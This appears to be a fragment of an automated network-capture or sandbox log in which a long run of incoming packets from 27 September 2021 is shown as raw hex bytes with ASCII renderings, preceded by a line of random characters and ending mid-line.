2agL'?7X`l:3#Z.1Y11F>kzVZoQBOMPdG5dql&).8S[ZdM(lCsW-'p:v2`OO655oa"Lqu;<9xO8k1"J_7;&{2~
2021-09-27 18:32:52 UTC	84	IN	Data Raw: d8 77 94 69 77 9f 2e db bb af 03 9d aa 6c d3 aa b6 43 b4 94 11 54 09 ab 08 24 ee c0 5b 37 46 68 3e a4 eb ad 13 93 49 bb 30 c4 66 47 13 af a3 f0 e5 ad 21 89 c2 9b 4b 16 c0 4a 90 ec 2b ad 4c 24 e3 9b f1 ef 33 6b a6 1a 43 19 78 05 a3 63 cd f6 12 09 46 9b 40 11 3e aa 6f 1c 94 d6 24 f5 6d 9d 6a db 58 98 dc 38 e6 33 31 48 91 93 e6 07 b8 6e 21 4c 4b 7c 08 1b 53 16 6b 5f d4 2a 1c 6b 98 8a e6 d6 86 e6 05 bd f0 d6 f7 50 7d b4 b7 fc 5f 3c a3 39 86 63 ce fd c4 39 4e bc be 66 40 a1 34 9a 2b fa 1b 68 2d 8b a2 81 8b 67 d6 2d eb bb 49 cd c6 5c 52 67 ef 5a 99 9b a8 b2 9a 7b 0f 85 42 16 1b 68 2e d9 83 bb 11 be e3 2e 07 d9 b6 95 58 43 35 dd 53 f7 6a 2a 17 1f 70 0b 16 0a 21 62 4a a8 16 ff 74 83 f7 ba 79 4f 20 3f a0 82 a8 ba 6c 19 b7 e7 a4 67 98 da 91 fb e4 00 3a ad 11 de 0f Data Ascii: wiw.lCT$[7Fh>I0fG!KJ+L$3kCxcF@>o$mjX831Hn!LK\|Sk_kP}_<9c9Nf@4+h-g-I\RgZ{Bh..XC5Sjp!bJtyO ?lg:
2021-09-27 18:32:52 UTC	85	IN	Data Raw: 41 ac f3 6e 97 40 a0 bb e5 b0 bf 6e 31 bc 98 28 d3 bb 31 ae 2a 44 8a 2e ca 43 02 35 3a bc c5 4f ed 6e 20 23 65 c8 13 86 47 ea 1e 47 62 0b 9a 38 bb 31 2a 2e 03 70 26 62 5e 41 57 d0 80 0e 6a f1 e8 69 af 17 c8 2c 67 0f 41 79 82 11 8d cb f5 a9 e7 78 68 33 2f 7a d6 5d 99 44 b9 16 86 11 80 17 31 c4 ed 0c 1f 72 97 e7 8d 7e 99 35 9c f1 b7 25 a2 b9 c1 4e 6f af 02 22 d9 89 b3 1e c2 d4 c6 7e d4 b7 0e 1a e6 1c a7 33 03 9a 72 21 88 9b 4b 16 07 19 d3 a8 95 f1 6e 31 44 95 6a 06 9e b2 a8 13 65 f5 cc f0 f3 69 e0 24 57 22 4c fa e5 9c 72 30 a3 80 04 30 fc 68 86 c4 18 08 22 5d 1e eb b9 3d 93 0e 0b bd 0f 54 87 65 d6 fa 5f 5f a9 31 47 c7 18 16 08 bc 4f 3e 1c 11 eb 80 17 bc c4 5b 6c 38 9c 37 58 90 c8 4d b4 43 91 24 e6 1f 70 53 f6 26 7d 95 2a 44 af d3 0b e9 83 5e f0 e6 02 37 35 Data Ascii: An@n1(1D.C5:On #eGGb81.p&b^AWji,gAyxh3/z]D1r~5%No"~3r!Kn1Djei$W"Lr00h"]=Te__1GO>[l87XMC$pS&}*D^75
2021-09-27 18:32:52 UTC	87	IN	Data Raw: 76 54 48 31 44 f0 c0 d9 79 bd 81 89 75 c1 7f a7 0b 35 58 9a c3 f2 e5 93 c3 91 a1 34 ac 9b 57 d3 78 ac 85 9e 00 ca 41 0d ce 49 c2 48 7f b7 be c4 41 7a 14 1d 4c 6b 04 d4 34 b9 a9 3e 14 cf 36 96 11 21 37 1a 95 46 81 bf 0d df 43 16 17 c4 62 82 a9 29 69 3d b4 20 9d 48 88 0b 9f 2c c3 e6 ac 03 cb ed 5a 42 1b 82 22 7f c7 d0 63 36 b8 74 32 de 98 60 4c b3 3a 99 86 18 23 cb 91 04 69 97 88 1b 5c ec 5f d4 f0 5c cc 51 f2 fc c2 2e d7 00 58 76 26 e0 f7 9d 88 fb 5b 14 a4 b6 a7 18 9e 78 2e d7 04 58 7f 3c 6d b0 ec 0b 9f 29 54 37 2c ba 7a 0c 0a 22 a2 ad ab ba 20 e2 a9 4d 1e dd 89 44 b4 75 cf df b0 82 b4 1e e7 b0 b2 12 76 01 a7 28 ce 16 0c 69 b2 8b 6f be 2a d9 78 bf a5 3e 12 7e 03 8b 53 cb ee 1e 03 28 d7 a7 95 c2 67 ed 4d ab d8 f1 d5 25 f0 b8 b9 93 f4 b3 5f a0 06 58 36 86 46 Data Ascii: vTH1Dyu5X4WxAIHAzLk4>6!7FCb)i= H,ZB"c6t2`L:#i\_\Q.Xv&[x.X<m)T7,z" MDuv(io*x>~S(gM%_X6F
2021-09-27 18:32:52 UTC	88	IN	Data Raw: 6e 17 02 ce 69 2a 23 41 a2 8c 07 86 a5 73 3c a3 c6 1d 6e 7b b0 52 91 64 fa a0 b3 cf 72 b1 15 93 4f 3b fb 26 f5 66 41 12 57 99 6f f8 b0 de 33 28 f1 ec b0 f3 55 fc ca 45 06 29 57 02 a7 80 12 19 fe 37 fe 4f fe 6a ce 13 ae de 2e fc f3 8e ac ea 07 aa ee a4 ae 86 e6 2b 78 f1 6e 5a 6d a7 16 38 4b f5 cb db ae 26 71 89 4d 20 c1 77 84 88 c4 2b af e3 06 49 31 f7 81 a8 61 98 d9 95 fd 95 c5 f9 72 2c d5 bc 7a 06 c0 87 95 4c 82 c8 f4 e3 5e e0 ba 77 8a ff 9d e3 d1 d2 6b 4d c5 bb ee e9 b0 6b 93 8a eb 8b a5 8d 62 19 60 22 ff 43 30 2e f5 c8 5c 4d cb 7f 92 1e 4b 0b 94 da 39 17 a5 83 ac 71 b9 b1 87 34 94 1e 16 37 f1 53 ed bb 44 3a af 11 80 3e bf fc f9 63 ce 7f ea 93 d8 5b c7 a4 5e 90 51 b3 d7 87 79 72 28 2c d2 f3 aa fc d8 3a aa b0 23 4c cc 4d 6e 97 f3 f1 68 6b 17 a2 a5 61 da Data Ascii: ni*#As<n{RdrO;&fAWo3(UE)W7Oj.+xnZm8K&qM w+I1ar,zL^wkMkb`"C0.\MK9q47SD:>c[^Qyr(,:#LMnhka
2021-09-27 18:32:52 UTC	89	IN	Data Raw: bd f8 cd ea fd 67 6d a2 ab dc 43 0a 0d 58 d9 44 91 4d 10 2c eb 6e 91 5d c6 50 b1 bc 3d ed dd 6b ce 4b 41 17 35 a7 73 ad 36 86 08 02 b9 fe df 19 d0 5c 84 e1 9e be 73 89 b8 80 23 cf 02 97 0e 02 82 5c 5a 62 08 20 dc 01 48 99 c7 db a8 11 08 3f 5d 78 3a 68 d4 0c bc a4 3b 37 de 1e 41 e2 ac 6d b4 3f 5d f2 cf ff 7c a0 d2 44 96 d2 48 88 56 0b 8e f6 e8 b7 fb 4d 47 0f 5f 38 a9 79 95 9d f0 eb 32 dd 5f d0 ff e7 85 cb ce f4 71 a2 b0 8b 7a a1 0e e2 a6 50 68 79 8d d7 51 43 5a 7a da 1a fc 8c ea 4c 93 46 91 42 a5 ef 07 52 53 b3 1a ad 29 45 07 a9 09 95 b7 aa 74 36 a8 6e a9 09 19 de 60 47 33 1e 82 90 fc 6a d0 77 04 fc f5 65 74 4e 78 32 84 fe 8f 61 66 86 1a c5 53 e8 44 93 12 1c b0 9e 83 4e 50 42 64 a7 aa a2 bc cd 62 3a d1 5e e0 8e f7 ec 91 79 b1 31 f0 27 91 bc 42 08 43 33 fa Data Ascii: gmCXDM,n]P=kKA5s6\s#\Zb H?]x:h;7Am?]\|DHVMG_8y2_qzPhyQCZzLFBRS)Et6n`G3jwetNx2afSDNPBdb:^y1'BC3
2021-09-27 18:32:52 UTC	93	IN	Data Raw: 37 36 72 e9 9c d0 55 fe f8 27 6e 08 06 d7 af b6 95 43 ac 0b e7 45 d4 2b 98 d3 7a 85 27 26 1a 69 11 90 db ba b3 1b 20 bf 52 05 dc 6e 01 18 cb bc 44 9d 4a 82 0e 0a 21 a2 ed 6d 09 49 57 e3 0b e9 81 87 64 fc 0c 76 3c a9 21 47 32 bb 50 58 d2 ba 43 81 3c ac a1 1b 5d 22 a3 8a f9 74 9f a6 bd 47 5a 60 42 c1 17 3c f8 fb 43 5e ae 5e 1c fe c6 1d d7 03 ed 49 09 e3 07 6b e9 be 66 0f 33 82 58 3f 33 65 6b 76 4d 59 e6 46 0c d5 ff 24 f3 2b cc f9 37 5b cd 84 7d 41 52 19 69 e1 1f 2a a4 65 47 a0 ed 6e 0d 03 cf 5b c2 83 5e fe c2 77 2a f4 74 63 c9 e9 62 20 7a 0a 22 5b b4 18 2f 66 a4 81 5b cf d8 fc 44 b2 49 6b a0 77 33 3b e7 ca 5e 53 f6 a0 79 bc 91 ed 54 70 3b 9d f3 65 eb c9 d2 14 1b 46 af ff 25 57 f5 60 9b e9 b8 01 17 02 ae 83 bc d8 01 7d e6 73 94 f5 dd 39 f5 84 c6 c7 46 5f 48 Data Ascii: 76rU'nCE+z'&i RnDJ!mIWdv<!G2PXC<]"tGZ`B<C^^Ikf3X?3ekvMYF$+7[}ARieGn[^wtcb z"[/f[DIkw3;^SyTp;eF%W`}s9F_H
2021-09-27 18:32:52 UTC	97	IN	Data Raw: 81 be f1 92 11 6e 1b 12 ae a9 e6 2e cb e6 d4 61 cf 0e 64 bc bb 80 e5 26 b3 e7 4a f4 17 3b 5c 4e 50 c8 34 ae 5a e1 32 c7 c9 d5 db 33 09 3e ce bd e0 1f 7a 1c 68 52 89 72 35 2e cb ea be c6 a1 87 c1 05 31 7f 82 c4 fe cb 91 ba 5a 7f 4c e8 00 15 ab 34 5d 79 82 11 81 35 8f 76 d8 84 fc d9 a7 3d 19 42 78 d2 ca 5b cd 09 11 8d 6e 31 53 3b b1 0c 32 e6 fc 9f eb 95 41 db 6a 35 31 48 98 7f 81 e3 53 6a 3d 0f 71 ff c4 6e 21 d0 84 e7 8f 62 4e 38 bb 3e c8 a9 1d 48 66 df 2f 54 7c bf 52 6d b5 17 89 57 05 19 af 16 09 b9 52 b2 41 02 23 66 47 c3 58 7b 95 42 89 5d 32 a8 79 9b 51 46 27 40 a7 23 6c 1c d7 8e 0f 92 00 24 e3 51 5b 86 4d 94 94 c7 8f 7b aa 5b 1b 9f 38 af a5 84 e3 bd d2 65 0a c3 d2 d3 33 b8 ba 93 a2 14 62 66 83 97 4f 59 b4 2f 24 d8 84 0a 9c 34 0d 98 d8 25 58 5f ec 4e 79 Data Ascii: n.ad&J;\NP4Z23>zhRr5.1ZL4]y5v=Bx[n1S;2Aj51HSj=qn!bN8>Hf/T\|RmWRA#fGX{B]2yQF'@#l$Q[M{[8e3bfOY/$4%X_Ny
2021-09-27 18:32:52 UTC	99	IN	Data Raw: 96 38 33 43 e3 5b ab 1c de 91 30 d6 18 c2 df b2 82 14 1c 8d fe e9 bb 34 0d 75 8b a8 63 dc 35 3b 3a 51 45 93 5b d7 de b3 5d c9 c4 60 53 de 99 8c f3 62 5a 70 10 21 a6 6f a0 af 17 8f 9a b7 86 e0 08 48 1d 30 cc 44 87 64 77 2b 92 67 c3 f9 6e 0b b1 a1 fc 1b 71 a1 32 26 d4 ba 76 0e a2 fe c8 0a 29 12 29 9d 6e 93 64 71 50 43 c1 ea 1b 30 d9 e2 2d ff 39 da 08 0a c5 c4 bb f5 7d 4f 61 ba 28 d2 05 8c 23 a0 a8 b7 11 82 2d 64 a3 53 26 cb c7 8b 70 78 32 09 69 b2 9b 47 02 08 11 79 ed f0 f9 62 f1 c4 d1 d1 d3 ae aa 4b 6c b1 0d 96 c8 f0 c2 d5 08 9c cb d5 b7 3d cc 05 78 07 a9 92 9f 2f 0c 1e d2 86 4e be 63 df a2 99 a0 7a 84 e8 1c 43 d3 7e 03 b8 7b b2 77 8d ef 6b a6 3c 8d 71 aa a1 8b fe a6 82 78 9f 55 be 72 24 ff 13 c7 f5 11 15 96 de 2f 4d 44 a3 8d a8 1a e6 11 87 4c 6b 54 f7 6f Data Ascii: 83C[04uc5;:QE[]`SbZp!oH0Ddw+gnq2&v))ndqPC0-9}Oa(#-dS&px2iGybKl=x/NczC~{wk<qxUr$/MDLkTo
2021-09-27 18:32:52 UTC	103	IN	Data Raw: d6 a8 c9 ab 25 d2 8b d4 2d 46 9b 6f 89 8a df 7b 82 1f ab 23 69 f8 e5 bd d2 ac a3 b1 01 a5 6a 3b 06 1f 8b 06 ae 82 11 22 9f 39 18 4a 9a 81 8f 5b ee 15 c8 4b 04 31 f9 f1 4d 39 c8 49 8d 64 49 79 a5 09 99 b5 49 82 10 18 ce 1d 73 6b 18 75 9c 99 4a da 3a 87 5d 31 47 0f 86 e7 3d e2 38 77 b3 32 09 cc 05 97 70 10 37 16 28 3e e7 8f 6f be b3 96 a3 15 b6 b0 a3 a4 1b b1 11 8c 9a 94 67 e0 aa 87 c5 03 7a f0 e9 95 59 e1 ba 40 cd 51 a0 a5 20 fa f7 48 4e c1 f7 64 59 f4 d0 6e f5 d6 3d 3d 2a c0 93 99 c2 76 15 49 73 ba cc 06 33 8b 27 54 b9 51 e3 24 18 12 1b b0 24 f2 e1 9e fb 5c 04 33 89 cb cc 58 76 14 2d 60 b4 44 5e 55 fc 19 e3 9f 15 3b b8 74 2c d5 a9 32 9a c9 91 5d 9d 50 b7 cf d7 a6 bb e8 2f 6b 55 db 1c f4 e2 d6 94 c6 0f 8e 26 1c fd 56 6e 21 3e ea 3b c6 61 06 36 b4 41 b1 09 Data Ascii: %-Fo{#ij;"9J[K1M9IdIyIskuJ:]1G=8w2p7(>ogzY@Q HNdYn==*vIs3'TQ$$\3Xv-`D^U;t,2]P/kU&Vn!>;a6A
2021-09-27 18:32:52 UTC	107	IN	Data Raw: 39 23 d5 08 38 b3 1c 47 73 a1 f3 71 6c 0d 73 99 77 5d aa 87 69 10 dd 0e 5a 3e 16 72 d5 06 2c 60 7a e4 28 65 ed ad 23 23 69 91 91 29 52 64 db 63 5f 9f 41 aa d1 10 72 8e bf 88 bc 0d b0 75 19 c1 e5 83 bd 6e 2e aa 3f 69 b5 60 f7 4f 49 13 3a 86 76 31 b1 a0 09 b3 1e 46 55 61 1e dd bd 45 e7 40 bc 00 15 be c2 6b ed 53 12 58 ae 86 e6 de bb e8 cb 9f 5d c1 2e df b1 92 c0 66 0c c1 5f aa 55 59 f2 37 0c 02 1a fa 4e b2 c3 e4 a6 c7 cd 0a 2a 13 bf ea 3c bf 72 93 32 ea 0c bb c7 f8 69 be 61 ce 4a ab af fe e5 0c 74 fa b4 a2 8f d4 ca ea f1 d8 3e b1 07 90 e6 44 ef b3 72 a7 7f 8b 48 27 3e 25 76 e1 47 b8 7c 07 6f 6b 78 4d 05 82 e9 dd 16 09 b0 23 39 29 e6 31 fd 71 1b d0 62 6b 40 2a 68 29 41 d9 19 c3 70 0c d4 c8 03 ab 2d 79 51 01 89 da 12 5c 01 71 82 49 4a 87 22 eb a4 96 27 9a 8c Data Ascii: 9#8Gsqlsw]iZ>r,`z(e##i)Rdc_Arun.?i`OI:v1FUaE@kSX].f_UY7N<r2iaJt>DrH'>%vG\|okxM#9)1qbk@h)Ap-yQ\qIJ"'
2021-09-27 18:32:52 UTC	111	IN	Data Raw: 22 f1 c5 5a 6f b9 ff 49 43 6a 88 32 60 6c 10 f1 5d 82 13 8f ac 54 9e b6 93 4f d3 24 5a 61 c2 76 0f de 36 ba 7a fe ac c4 76 09 24 7a a5 58 94 61 44 94 a1 6d ac 82 01 e8 31 80 2c c7 11 81 b7 3e 14 c0 9e b6 86 ea 24 da d2 4d 47 1e f9 ad a9 38 e4 04 fe bb 77 b4 3a 92 ec fa ce aa ae d1 d2 51 41 63 d8 75 bd ba 75 98 f1 8e 53 e6 1a fe 66 eb de 92 7b c6 47 31 7b 7a 6c e1 95 56 a0 17 9b 67 f1 ff 59 f9 6f bb db 2b a9 00 ad 23 52 15 24 d4 f4 14 26 40 34 80 c2 93 e5 6f fc a4 0d a7 9e 8e ec 29 e0 59 e4 a4 93 5c 23 cb f3 ce 14 08 e5 e3 2e 73 d9 03 33 43 d7 77 ef b5 b3 66 c3 51 89 a2 70 4d d2 6d 33 56 e7 46 e6 c2 a6 d9 27 9f 4b 94 6e 4d 9c 42 e7 27 9f 4f 1c 43 74 d8 86 89 86 33 5e a6 18 6b 53 db 1e 85 8a 2f 3a 0b 5c 2c 73 1d 08 8c c7 1d 08 bc b9 82 18 28 6c f3 9f 02 f1 Data Ascii: "ZoICj2`l]TO$Zav6zv$zXaDm1,>$MG8w:QAcuuSf{G1{zlVgYo+#R$&@4o)Y\#.s3CwfQpMm3VF'KnMB'OCt3^kS/:\,s(l
2021-09-27 18:32:52 UTC	115	IN	Data Raw: 0e 3a 62 61 27 a6 d2 f7 77 85 be 7f b2 a4 47 1f d5 bd e2 d1 6d c0 5e 69 36 aa ad 0d 8d 47 bb 02 0c 85 cd c4 6c 7f f6 5e e3 90 de 33 3f e4 6a cb 17 ef 92 e6 2d 8b d2 4e 75 ac 88 cb eb 30 c6 7a 33 17 a0 85 50 9d 5a a8 a5 3a 1f 76 33 15 4b a8 5c c9 12 1c f4 53 6d cf f4 95 fb 93 ad 39 2b 8e 72 1c 40 48 b2 23 a4 a8 ac c1 b2 49 ca f5 61 c1 f8 82 94 c5 5b 0c 02 38 a6 2a bc 9d 7c c8 2e 36 98 7a af d6 07 b7 01 8f a5 8d a9 00 32 c5 df 45 c0 a2 b1 35 72 20 25 d4 4a 88 e2 0b 58 10 ee df 9c 07 1c 83 74 23 71 2a ff ac 6a f3 c9 c0 59 bf db 6d 72 4c 8b 67 d6 84 95 bb c4 46 5f 6b da 2a d6 3b 9a f3 89 90 86 f6 eb 86 43 1a cc 14 3c 1f d0 7e 1c eb 88 44 fd b4 b4 b7 cc cf f2 e9 9b 46 5b e5 75 57 d3 a8 a4 ae 2a da 09 a4 66 0a 32 c2 66 82 bf 2d 4c 94 c3 57 85 89 57 c2 ae 50 b7 Data Ascii: :ba'wGm^i6Gl^3?j-Nu0z3PZ:v3K\Sm9+r@H#Ia[8\|.6z2E5r %JXt#qjYmrLgF_k;C<~DF[uWf2f-LWWP
2021-09-27 18:32:52 UTC	119	IN	Data Raw: ab 2c 4f 81 45 14 c6 ab 02 37 35 4d bb e5 54 95 49 1a ea 79 5e 4c 31 ec 0e 14 1a 47 20 c5 26 d8 3f 69 94 16 68 36 0b 5a 7f 4c ab 13 af a5 46 90 e1 a0 9d a2 2d 44 85 78 a9 8e ea 33 18 26 1a 10 22 7e cd a4 8d a6 bf e1 d4 1f d8 14 06 9a ae 9b f6 54 6a 13 45 2c c7 f8 db 98 24 f0 e9 88 f3 cc da 39 14 2b 72 91 b4 bb 58 0e cb 8f 10 93 02 3c 64 49 b5 bc 77 5e 06 27 e0 34 a2 ac 58 6f a1 42 8b 3f 3c 95 6e db 74 08 3b 20 f8 fb 99 e7 8b de 24 e8 30 e4 27 94 2d 61 4e 1c 39 7b f6 2f 0b 83 cc 4c 30 fe c5 24 b3 0a ec 6b b0 88 46 91 5b 62 5f 9f 25 4d 22 10 91 74 34 aa 1d 7d 82 b5 9f 3e 6e 2a cc 79 a7 1b ce ad 3f 89 c5 df 99 f0 f4 e1 db 98 09 d4 34 07 1a f0 49 20 fd 75 6c 4e 7b ad 25 5c b6 cf cc 53 ff 9c 6e 34 99 6b 82 cf 26 e3 47 b0 e7 b1 dd a1 28 86 d6 f3 58 76 de 49 07 Data Ascii: ,OE75MTIy^L1G &?ih6ZLF-Dx3&"~TjE,$9+rX<dIw^'4XoB?<nt; $0'-aN9{/L0$kF[b_%M"t4}>n*y?4I ulN{%\Sn4k&G(XvI
2021-09-27 18:32:52 UTC	123	IN	Data Raw: df fb 9c d7 a4 64 d1 c1 54 9a 9e e1 52 be 93 5c 4a 9e 91 b5 c6 2d 49 1b 47 be c1 17 86 f4 f3 53 44 2a 73 aa b0 99 6d 5e d2 29 54 7c c3 46 81 61 9d 05 a1 70 90 19 b7 e8 19 6d b0 bd d8 c7 9c ab 08 32 73 14 f9 6a 3f 2c ec bd 36 19 7f 88 e5 a9 cb 81 35 32 c5 2b fc d2 17 8f 27 e9 34 0b 73 b1 04 21 54 52 96 61 a2 a7 2a 1b cb 37 36 ae 81 ad db 39 a8 bc 64 58 5f 2f 4d b4 8b 76 57 f3 23 a3 80 bf 1d 7d 89 7e 34 97 aa e9 ea 06 3d ee 60 0a 9d f2 0f 84 ec 12 33 15 6f ba 1f 63 d8 81 33 4e dc 3e af 10 a2 1b 76 3c 51 6d 07 be 66 01 b8 39 16 c3 5c b5 14 19 7d a0 92 2f bd 99 5c 48 3e 6c c5 e9 8d 68 02 8a 71 9a c5 e0 08 19 96 0b 2a dd a2 e0 01 e3 a4 6f 6d 49 14 07 bc 4c bf 16 9b 30 cd c8 e9 26 bc bb 42 7d 8e f2 e5 be 59 0f 13 f1 67 d3 0f 5b bc 55 f3 6c 3a 66 e8 12 31 bd b3 Data Ascii: dTR\J-IGSDsm^)T\|Fapm2sj?,652+'4s!TRa769dX_/MvW#}~4=`3oc3N>v<Qmf9\}/\H>lhq*omIL0&B}Yg[Ul:f1
2021-09-27 18:32:52 UTC	127	IN	Data Raw: ab 01 b6 35 37 72 c3 a9 c3 02 61 c1 bd e1 b3 23 a2 d2 58 9a 37 ac 8d 76 ab 89 5a 29 80 78 3c 2e 90 df 21 06 3b e8 02 78 1d 4a b1 e9 27 83 7e 08 91 43 4a f2 c7 9e 67 8c e3 d8 3d 1b 52 be 1a f9 8b b9 66 45 15 42 89 33 2c a4 1e 0c 5a 61 97 53 d3 82 81 ed 77 62 8f ca 50 77 ce 24 cb 95 a2 f1 61 50 02 11 54 72 66 55 d3 87 8f d9 1e f1 6a f3 77 52 de 1b 2f 47 a7 60 04 67 c1 a0 a9 13 a4 2f 25 41 f5 2a 73 a0 a9 90 d4 69 d6 50 b8 d8 7b 86 a5 38 8e 51 87 22 c5 07 91 f2 fe c6 04 1c 56 ae 54 35 39 ff 2b 1a 48 97 19 7c 20 c7 2e b6 1e e4 01 03 b0 de 04 f3 ec 02 73 a9 76 00 14 35 ba 01 d2 ab 70 86 e7 9e 75 0f bb 3e dc 54 4c 58 7e 1e e2 0b a5 15 1e 93 fb 6c 08 88 30 d0 21 12 a4 06 bc 57 28 3c 62 ab 7d a6 6e 79 82 b7 ef 26 c2 19 dc 12 c0 82 3c 76 31 60 06 47 cd a7 81 c6 5d Data Ascii: 57ra#X7vZ)x<.!;xJ'~CJg=RfEB3,ZaSwbPw$aPTrfUjwR/G`g/%A*siP{8Q"VT59+H\| .sv5pu>TLX~l0!W(<b}ny&<v1`G]
2021-09-27 18:32:52 UTC	131	IN	Data Raw: f4 6f d4 20 06 85 e5 83 6f fb 44 bc b3 72 22 0c b8 d1 d7 a5 e6 88 89 30 df 9b 86 80 32 37 ba d4 2a d4 79 87 55 2f 23 2a 2c 5c c5 e1 9f 63 d2 7c 8f 0c 54 89 ae 06 2f 47 58 74 07 1f 0a 47 f0 4f 67 c3 e7 c3 f1 4f 49 60 20 07 10 8a f2 fe 86 ff 69 0b f5 0a c0 3d b1 03 b1 59 ea 31 82 6d cd 24 ac 06 22 ed 2b 5e 61 64 30 b3 e1 bb 6f ba 6c f1 db cb 9f 2b 7f 4f 95 21 8e dc 8d 67 d4 6e 17 aa 62 3d 97 b7 c2 cb c2 64 0c 3a 17 f5 4b 3a 53 92 76 14 01 f7 4c b9 3e d2 6f 59 8f cc 59 e5 d6 6f 8f a0 d3 94 2f 3d be 70 2f 11 c7 e7 0e 76 4d f9 48 1d 70 22 bf b4 ad af 70 63 33 33 a4 ae 95 1e ae ae 22 82 58 8c ff cd d0 48 44 3a ca 01 c1 ca 98 b2 d5 43 1e 6a 2a ca 11 e0 20 2b 29 07 49 f1 dd b6 94 81 e4 3d e3 5e e3 8c fe c2 9f c7 4a 83 7b d8 42 b0 58 af d4 3c be 66 ac 30 5f dc 2d Data Ascii: o oDr"027yU/#,\c\|T/GXtGOgOI` i=Y1m$"+^ad0ol+O!gnb=d:K:SvL>oYYo/=p/vMHp"pc33"XHD:Cj* +)I=^J{BX<f0_-
2021-09-27 18:32:52 UTC	135	IN	Data Raw: 74 94 61 dc e1 36 b4 b5 cb f1 6f 8f d4 43 05 90 65 74 20 d7 70 36 94 f0 fd f9 43 3a 71 0d 3f 0a 95 ab ae fc c6 e9 e1 87 56 2b 3f 75 a3 10 a1 eb b7 02 22 e8 22 c4 82 78 1e e3 89 c6 75 84 3a cf dc 98 0e 11 5d 74 34 9a 78 3c ab 32 09 c8 52 5a d0 40 8d 49 08 8e d1 e0 b2 08 5a 1f 02 dd 6d 95 e3 7b 12 62 57 25 12 1b 5f 82 63 85 6a 0b 5d 0c 35 2e cb d2 61 fb a7 35 3d 35 38 77 b3 36 70 44 a5 ad da 24 56 fc c2 45 a2 9d 50 46 2b 2e cc 76 da 9e a9 06 eb 8f 5c 63 df 0c 2c e0 be d8 a3 0f 16 e1 2f 3e a7 97 38 b1 3a e7 fe 8c e9 b0 21 eb bf f9 6b bc 4d 3e 5c f3 64 49 08 91 7b a2 05 c7 d3 0d 24 f5 db 3f 2c fe 1f 55 e3 b7 b0 f9 77 b5 c3 ff 7d b3 1b e6 33 0f 08 3d b1 ef db a0 8d 5c ef 84 32 b8 78 af 6f b3 32 9a a8 f7 70 02 f7 e3 d7 a4 be 60 6b 85 90 64 5c 41 11 21 57 e5 27 Data Ascii: ta6oCet p6C:q?V+?u""xu:]t4x<2RZ@IZm{bW%_cj]5.a5=58w6pD$VEPF+.v\c,/>8:!kM>\dI{$?,Uw}3=\2xo2p`kd\A!W'
2021-09-27 18:32:52 UTC	139	IN	Data Raw: 99 ae b7 71 3b 0a 93 b3 39 ae 5b a0 c9 f7 47 b9 14 38 13 06 8f 2b 95 cd aa 32 e0 d1 32 08 48 9b 8d a5 3b 03 8a 11 11 93 5a 68 87 db b2 44 35 73 ae 29 f9 32 e7 25 1a 5a 42 0c 3d 98 37 f9 94 99 55 f3 71 fa fa ef 7b 91 97 f0 41 0e 08 35 7d 8d 4b ad af a2 a1 22 f9 72 c4 7b 80 09 b6 41 aa a5 76 0d a3 81 49 c1 e8 02 30 fa 19 3b 36 ba 7a d4 5d 19 45 eb 9f d7 a7 22 26 6e 2e 9c d1 e1 2e ff 93 62 b1 5c 53 f0 f1 b0 ff ec 3c 53 87 7a 17 9e 70 93 e6 2b e0 a6 6c 3e a1 38 e4 05 8f 9a 50 76 08 30 02 86 fc 11 2f f5 7f 98 df 8c c7 31 e2 18 15 91 9a 6a 5b 12 ef 4c 10 84 d5 71 4e bc 81 9c ee 23 7e 08 2e cf 7b f2 83 cb af 11 57 89 78 a9 4d 01 01 73 56 ff 2d 46 83 7c 03 a3 88 8e 0b 2e ba 6e f2 87 75 13 b7 18 b6 fa e4 79 0c ab 85 26 d8 fe 91 4e 74 6d b5 b0 91 21 0c 84 b1 fa 51 Data Ascii: q;9[G8+22H;ZhD5s)2%ZB=7Uq{A5}K"r{AvI0;6z]E"&n..b\S<Szp+l>8Pv0/1j[LqN#~.{WxMsV-F\|.nuy&Ntm!Q
2021-09-27 18:32:52 UTC	143	IN	Data Raw: f2 e2 08 24 e3 5e 6f b7 3d 1d c1 f5 5f f1 94 ee f7 74 21 da 80 0c a7 80 5b ca 2f 3c eb 88 ae 6d 93 7a 22 da 8d 4a b4 52 6c 23 76 0f a9 1b e0 7e a8 92 e4 bb 63 e6 a1 d5 91 99 1b 79 29 47 55 94 60 7b 86 4f 68 78 62 ff 94 d6 48 10 df 11 96 fa 8b 6e 6a 32 7e 6d 9d fc ae ee f5 22 01 ab bc bd 55 a7 34 99 2e c9 8a f3 11 b9 48 f3 c0 63 94 2d 4c 1b c1 5a 7e 6a a2 fd 51 91 c8 79 b4 24 dd c2 c7 65 69 bf d3 0f 08 85 6b b3 01 b2 c8 59 d6 0f e8 a4 9f 1e 59 20 c7 cc 83 ff 4d 3f 1e c8 b2 22 ec 1e ff 9c 6e 30 0c bf af 0c 63 7d 21 67 b8 92 89 9d 66 67 f2 c1 76 27 6c ee e3 89 62 4c b3 3b 8d aa f3 c8 af 2f fa 1f 4b b2 d0 5f d6 17 d9 97 8a cb d2 fa 05 e6 28 19 13 8d af b6 cd fb 75 d3 48 4f 9d 55 b6 88 82 b8 0f bb ea 4e 75 c6 b3 42 84 da 43 88 c5 2c 3f 01 1a 8c 40 8a 28 a7 31 Data Ascii: $^o=_t![/<mz"JRl#v~cy)GU`{OhxbHnj2~m"U4.Hc-LZ~jQy$eikYY M?"n0c}!gfgv'lbL;/K_(uHOUNuBC,?@(1
2021-09-27 18:32:52 UTC	147	IN	Data Raw: b5 93 94 87 13 37 e3 9d ca c4 61 d7 d0 a5 0a 7f 46 8f 50 c1 a8 c6 2e dc 3e 11 d0 8d da e6 12 0d ef 81 39 65 a8 ef cb 98 5d 0a 3e a5 2d f4 fc 9d 96 f5 8c a4 d9 7f 99 7f cc 0b 83 70 c2 35 03 d0 63 9e 39 f6 83 72 22 d3 8a 6f b2 36 e7 eb 45 60 1f c0 65 1b e6 86 ca 8c 83 b9 09 3e d2 68 5f 1a ec 05 eb ec 2d 95 c8 f1 38 a3 32 c2 09 bb 66 ff 54 11 e9 37 c5 93 fc 79 82 a7 64 b8 7c 17 16 ed b3 ee 3d ea 35 2c 5c 9b e2 00 13 59 3b 18 1a 16 8e f0 ea 14 c6 ea 12 18 14 c4 f3 35 27 59 a6 e6 08 fc 77 74 7e 0d 5d ac 9d 42 92 66 21 35 b8 79 9e 9b 4c f6 cc 66 dd d2 0c 9f 26 c1 90 68 f5 33 ed 76 d8 9f 92 b9 6f 9f 77 85 a4 9b 47 8f 60 17 e2 84 bd be 4d d5 1c 4a a8 bf 57 e4 1b 6a 39 a5 36 e9 98 c2 2a 09 1a 02 ee 24 7e 56 02 3a b7 f5 b8 b8 48 5a a7 